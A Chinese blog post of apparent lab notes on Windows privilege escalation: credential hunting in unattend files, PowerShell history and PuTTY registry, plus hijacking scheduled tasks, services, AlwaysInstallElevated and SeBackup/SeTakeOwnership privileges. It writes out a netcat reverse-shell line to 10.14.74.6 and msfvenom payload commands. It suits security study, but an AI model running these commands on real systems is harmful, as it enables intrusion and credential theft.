初识windows提权

初识windows提权

Windows系统分为两种不同的用户,一种是拥有管理员权限的用户属于管理员组,另一种是拥有普通系统权限的用户,属于用户组。

Administrators 这些用户拥有最高的权限。他们可以更改任何系统配置参数并访问系统中的任何文件。
Standard Users 这些用户可以访问计算机,但只能执行有限的任务。通常,这些用户无法对系统进行永久性或必要的更改,并且只能访问自己的文件。

还有一些特殊的内置账户,由Windows系统设置和管理,通常情况下我们无法使用。

SYSTEM / LocalSystem 操作系统用于执行内部任务的帐户。它对主机上的所有文件和资源具有完全访问权限,甚至比管理员的权限更高。
Local Service 用于以“最低”权限运行 Windows 服务的默认帐户。它将使用网络上的匿名连接。
Network Service 用于以“最小”权限运行 Windows 服务的默认帐户。它将使用计算机凭据通过网络进行身份验证。

最低权限和最小权限的区别在于,最低权限在某些特殊情况下也不能进行权限的升级,但最小权限在特殊情况下可以进行权限的升级,完成之后再降为普通权限。(最低权限强调的是整体的策略,而最小权限强调的是特定任务的权限管理)

从常见地方获取密码:

Unattended Windows Installations

在大量主机上安装windows时,管理员可以使用windows部署服务,该服务允许通过网络将单个操作系统映像部署到多个主机。这些类型的安装称为无人值守安装,因为它们不需要用户交互。此类安装需要使用管理员帐户执行初始设置,最终可能会存储在计算机的以下位置:

  • C:\Unattend.xml
  • C:\Windows\Panther\Unattend.xml
  • C:\Windows\Panther\Unattend\Unattend.xml
  • C:\Windows\system32\sysprep.inf
  • C:\Windows\system32\sysprep\sysprep.xml

Powershell History

每当用户使用 Powershell 运行命令时,它都会被存储到一个保存过去命令记忆的文件中。这对于快速重复以前使用过的命令非常有用。如果用户运行的命令直接在 Powershell 命令行中包含密码,我们则可以在cmd.exe中使用命令 type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt来获取历史信息。

image-20240806201435413

然后上面的命令是在cmd.exe中生效,如果在powshell中的话,需要将%userprofile%替换为$Env:userprofile

Powshell: type $Env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

image-20240806201836281

Saved Windows Credentials

Windows 允许我们使用其他用户的凭据。此功能还提供了在系统上保存这些凭据的选项。以下命令将列出已保存的凭据:

1
cmdkey /list

image-20240806202601368

我们看不到实际的密码,但我们可以结合runas/savecred 一起使用

runas /savecred /user:mike.katz cmd.exe

以mike.katz的身份运行cmd,并使用/savecred对凭据进行一个保存。

image-20240806202913360

image-20240806203141284

IIS 配置

IIS(Internet 信息服务)是windows中默认安装的web服务器,IIS的网站配置文件存储在名为web.config的文件中,里面可以存放着数据库密码或者身份验证的一些信息。

下面是常见的web.config的安装位置:

  • C:\inetpub\wwwroot\web.config
  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

image-20240807151007853

PuTTY

PuTTY 是 Windows 系统上常见的 SSH 客户端。用户无需每次都指定连接参数,而是可以存储会话,其中可以存储 IP、用户和其他配置以供日后使用。虽然 PuTTY 不允许用户存储他们的 SSH密码,但它会存储包含明文身份验证凭据的代理配置。

要检索存储的代理凭据,您可以使用以下命令在以下注册表项下搜索 ProxyPassword:

1
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

SimonTatham是一个人名即PuTTY的创作者。

image-20240807180431561

其他方法:

计划任务

使用schtasks列出计划任务,在本例中,使用schtasks /query /tn vulntask /fo list /v 列出vulntask任务的详细信息。

image-20240808164954610

对我们来说重要的是Task To Run 和Run As User这两个参数,一个是计划任务的内容,一个是以什么身份来运行这个计划任务的文件。

如果当前的用户可以修改或覆盖这个可执行的文件,我们就可以控制该用户执行的内容,从而实现简单的权限提升。

要检查可执行文件的权限,我们使用icacls

image-20240808165723675

Users对这个文件具有F权限(完全访问权限,这个权限允许用户执行所有可能的操作)

然后向这个文件中写入一个反弹shell的命令,并运行它。

echo c:\tools\nc64.exe -e cmd.exe 10.14.74.6 4444 > C:\tasks\schtask.bat

image-20240808175031930

image-20240808175045428

始终安装高权限

Windows 安装程序文件(也称为 .msi 文件)用于在系统上安装应用程序。它们通常以启动它的用户的权限级别运行。但是,这些文件可以配置为从任何用户帐户(甚至是非特权帐户)以更高的权限运行。这可能允许我们生成以管理员权限运行的恶意 MSI 文件。

此方法需要设置两个注册表值,下面是命令:

1
2
C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

然后利用msfvenom生成一个恶意的msi文件。

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_MACHINE_IP LPORT=LOCAL_PORT -f msi -o malicious.msi

由于这是一个反向 shell,还应该运行相应配置的Metasploit Handler 模块。传输创建的文件后,可以使用以下命令运行安装程序并接收反向 shell:

1
C:\> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi

滥用服务错误配置

Windows 服务

Windows服务由服务控制管理器(SCM)管理,Windows上的每项服务都会有一个关联的可执行文件,每当服务启动时,SCM 都会运行该可执行文件。需要注意的是,服务可执行文件会实现特殊功能以便能够与 SCM 通信,因此并非任何可执行文件都可以作为服务成功启动。每项服务还指定了运行服务的用户帐户。

使用sc qc来查看某项服务的详细信息。

image-20240809175925827

BINARY_PATH_NAME指向的是关联的可执行文件,SERVICE_START_NAME指向的是运行该服务的用户。

服务具有自主访问控制列表(DACL) 它指示谁有权启动、停止、暂停、查询状态、查询配置或重新配置服务以及其他特权。

image-20240809180723847

所有服务配置都存储在注册表中,*HKLM\SYSTEM\CurrentControlSet\Services*

image-20240809180845623

服务可执行文件的权限不安全

某项服务的可执行文件的权限相对来说较弱,攻击者可以修改可执行文件的内容。

image-20240809183435236

对于上面服务执行的用户是svcusr1,我们去查看一下可执行文件的权限。

image-20240809183934118

everyone组具有M权限(可修改权限)

首先利用msfvenom生成一个反弹shell的exe文件

image-20240809185310630

然后开一个python服务,利用wget把exe文件放到powshell中

image-20240809190155020

然后将权限弱的可执行文件进行一个备份,并将生成的恶意文件替换到可执行文件的位置,然后再赋予一个F权限。

move WService.exe WService.exe.bkp

move C:\Users\thm-unpriv\rev-svc.exe WService.exe

icacls WService.exe /grant Everyone:F

image-20240809190407596

最后再攻击机上监听端口,并再windows上重启服务。

sc stop windowsscheduler

sc start windowsscheduler

image-20240809190646410

未加引号的服务路径

image-20240901204211485

如上图所示,这个服务是没有引号的,并且Disk Sorter Enterprise中间是有空格的,SCM不知道执行哪一项 就会出现下面的情况。

Command Argument 1 Argument 2
C:\MyPrograms\Disk.exe Sorter Enterprise\bin\disksrs.exe
C:\MyPrograms\Disk Sorter.exe Enterprise\bin\disksrs.exe
C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe

这与命令提示符解析命令的方式有关。通常,当您发送命令时,空格用作参数分隔符,除非它们是带引号的字符串的一部分。这意味着对未带引号的命令的“正确”解释是执行C:\\MyPrograms\\Disk.exe并将其余部分作为参数。

SCM 并没有像它应该的那样失败,而是尝试帮助用户并开始按照表中显示的顺序搜索每个二进制文件:

  1. 首先,搜索C:\\MyPrograms\\Disk.exe。如果存在,服务将运行该可执行文件。
  2. 如果后者不存在,它就会搜索C:\\MyPrograms\\Disk Sorter.exe。如果存在,服务就会运行这个可执行文件。
  3. 如果后者不存在,它将搜索C:\\MyPrograms\\Disk Sorter Enterprise\\bin\\disksrs.exe。此选项预计会成功,并且通常会在默认安装中运行。

从这个行为可以看出问题所在。如果攻击者创建在预期服务可执行文件之前搜索的任何可执行文件,他们就可以强制服务运行任意可执行文件。

通常情况下,服务可执行文件会默认安装在C:\Program Files 或 C:\Program Files (x86) 下。非特权用户不可写,但有些服务会更改它的默认安装位置,如果这些服务的安装位置是我们可以更改的,那么这个漏洞就容易被利用。

image-20240901210353113

BUILTIN\\Users组具有ADWD权限,分别允许用户创建子目录和文件。

首先我们利用linux生成一个反弹shell的exe文件,上传进去,然后将这个exe文件移动到C:\MyPrograms\Disk.exe中,对这个可执行文件赋予全部权限,最后重启这个服务即可。

image-20240901211917190

image-20240901212210441

image-20240901212754030

image-20240901212805459

不安全的服务权限

如果服务的可执行 DACL 配置(服务可执行文件的权限)正确,并且服务的二进制路径引用正确,您仍有一线机会利用该服务。如果服务 DACL(不是服务的可执行DACL)允许您修改服务的配置,您将能够重新配置该服务。这将允许您指向您需要的任何可执行文件,并使用您喜欢的任何帐户运行它,包括 SYSTEM 本身。

服务DACL是对服务本身的控制

要从命令行检查服务 DACL,可以使用Sysinternals 套件中的Accesschk

image-20240901222954169

image-20240901222938643

我们可以看到该BUILTIN\\Users组具有SERVICE_ALL_ACCESS权限,这意味着任何用户都可以重新配置该服务。

然后我们生成一个反弹shell的exe文件,上传上去,修改其权限,然后更改服务关联的可执行文件和帐户,最后重启服务,等待反弹shell。

image-20240901223501856

sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem

image-20240901223633706

image-20240901224455692

滥用危险特权

Windows 权限

特权是帐户执行特定系统相关任务的权利。这些任务可以简单到关闭机器的特权,也可以是绕过某些基于DACL的访问控制的特权。

每个用户都有一组分配的权限,可以使用以下命令进行检查:

1
whoami /priv

https://learn.microsoft.com/en-us/windows/win32/secauthz/privilege-constants 提供了 Windows 系统上可用权限的完整列表。从攻击者的角度来看,只有那些允许我们在系统中升级的权限才是值得关注的。

我们可以在 https://github.com/gtworek/Priv2Admin/blob/master/README.md 上找到可利用权限的完整列表。

SeBackup/SeRestore

SeBackup 和 SeRestore 权限允许用户读取和写入系统中的任何文件,而忽略任何现有的DACL。此权限背后的想法是允许某些用户从系统执行备份,而无需完全管理权限。

有了这种能力,攻击者就可以使用多种技术轻松提升系统权限。我们将要研究的技术包括复制 SAM 和 SYSTEM 注册表配置单元以提取本地管理员的密码哈希。

我们以管理员身份打开powshell才能使用上面的权限,以管理员身份打开后需要再次输入此账户的密码。

image-20240903154626152

image-20240903154758909

整体的攻击思路:

首先我们先备份sam和system的哈希,然后我们可以使用SMB服务或者其他的,将这两个备份的hash文件传递到攻击机上面,然后检索用户的哈希值,我们可以得到administrator的哈希值

最终可以使用管理员的哈希执行传递哈希攻击,并以 SYSTEM 权限访问目标机器.

image-20240903161147004

此时已经备份成功。

然后启动smb服务,在本地创建一个share目录作为共享的public目录。

image-20240903162004730

将两个备份文件传递到public目录上去。

image-20240903162833498

然后检索hash.

image-20240903163251253

可以看到能够得到administrator的hash.

image-20240903163517545

最后也是成功的得到了administrator权限。

SeTakeOwnership

SeTakeOwnership 权限允许用户获取系统上任何对象的所有权,包括文件和注册表项,这为攻击者提升权限提供了许多可能性,例如,我们可以搜索以 SYSTEM 身份运行的服务并获取该服务可执行文件的所有权。

image-20240903165417290

这次我们将利用utilman.exe来提升权限。Utilman 是一款内置 Windows 应用程序,用于在锁定屏幕期间提供轻松访问选项:

image-20240903170729988

由于 Utilman 以 SYSTEM 权限运行,因此如果我们将原始二进制文件替换为我们喜欢的任何有效载荷,我们将有效地获得 SYSTEM 权限。由于我们可以获得任何文件的所有权,因此替换它很简单。

下面是整体攻击思路:

首先我们获取utilman.exe的所有权,然后我们对当前所在用户赋予对utilman.exe的完全控制的权限,接着用 cmd.exe 的副本替换 utilman.exe,最后再触发utilman.exe即可。

image-20240903171856361

image-20240903171924694

SeImpersonate/SeAssignPrimaryToken

这些权限允许进程模拟其他用户并代表他们行事。模拟通常包括能够在另一个用户的安全上下文中生成进程或线程。

没看懂什么意思…

滥用易受攻击的软件

未打补丁的软件

目标系统上安装的软件可以提供各种特权提升机会。与驱动程序一样,组织和用户可能不会像更新操作系统那样频繁地更新它们。您可以使用该 wmic 工具列出目标系统上安装的软件及其版本。以下命令将转储它可以收集的有关已安装软件的信息.

1
wmic product get name,version,vendor

有的时候,这并不能给出所有的信息,我们还需要注意桌面快捷方式,可用服务或通常任何表明可能存在其他易受攻击的软件的痕迹。

image-20240903183956263

下面是一些工具:

WinPEAS https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS

image-20240903184931481

PrivescCheck https://github.com/itm4n/PrivescCheck

image-20240903185011924

WES-NG https://github.com/bitsadmin/wesng

image-20240903185038892


初识windows提权
http://example.com/2024/08/05/windows提权/
作者
FSRM
发布于
2024年8月5日
更新于
2024年9月3日
许可协议